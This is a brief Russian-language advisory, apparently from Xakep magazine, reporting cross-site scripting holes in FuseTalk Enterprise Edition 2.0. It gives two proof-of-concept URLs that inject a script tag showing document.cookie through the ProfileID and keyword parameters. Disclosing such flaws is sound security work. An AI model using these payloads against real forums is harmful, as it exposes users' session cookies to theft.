CSS в FuseTalk

Рекомендуем почитать:

Xakep #305. Multi-Step SQLi

• Содержание выпуска
• Подписка на «Хакер»-60%

В FuseTalk Enterprise Edition Version 2.0 (возможно и в
других версиях) обнаружен ряд уязвимостей:

http://example.com/forum/tombstone.cfm? ProfileID=<script>alert(document.cookie)</script>

http://example.com/forum/usersearchresults.cfm? keyword=<script>alert(document.cookie)</script>
&FT_ACTION=SearchUsers